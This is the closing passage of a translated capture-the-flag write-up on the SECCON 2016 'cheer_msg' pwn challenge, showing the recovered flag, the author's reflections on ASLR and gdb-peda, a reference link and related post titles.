cheer
cheer_msg
exploit.py
exploit.py~
flag.txt
peda-session-cheer_msg.txt
$ cat flag.txt
SECCON{N40.T_15_ju571c3}

It's a success. The flag is "SECCON {N40.T_15_ju571c3}". It is said that a certain big senior is justice. Yes.

3. At the end

The question is, when checking the storage position of the return address and calculating the input value of the number based on it, the calculated value on gdb where ASLR is basically disabled is basically the value calculated on gdb, even in an environment where ASLR is enabled. You can point out that it plays the intended role ... Also, I'm really worried about the fact that gdb-peda could be used on the server during the tournament where this problem was asked. Without it, I felt it was pretty tough.

Also, according to the questioner's page, this problem was "a simple problem that I did not originally plan to raise", so I am very depressed now because I had a lot of trouble with this. (The cause of my hardship is my own terrible mistake ...)

I would appreciate it if you could point out any mistakes. Excuse me for the long sentence.

4. Reference site

SECCON 2016 Online Exploit Question 1/2 (cheer_msg, checker, shopping) --ShiftCrops Memorandum

Recommended Posts

CTF beginners just study pwn ~ "cheer_msg" from SECCON 2016 Online qualifying ~
Seccon beginners ctf 2020 write up (mask)
I've been demonstrating Write up for #seccon CTF online qualifying on #ssmjp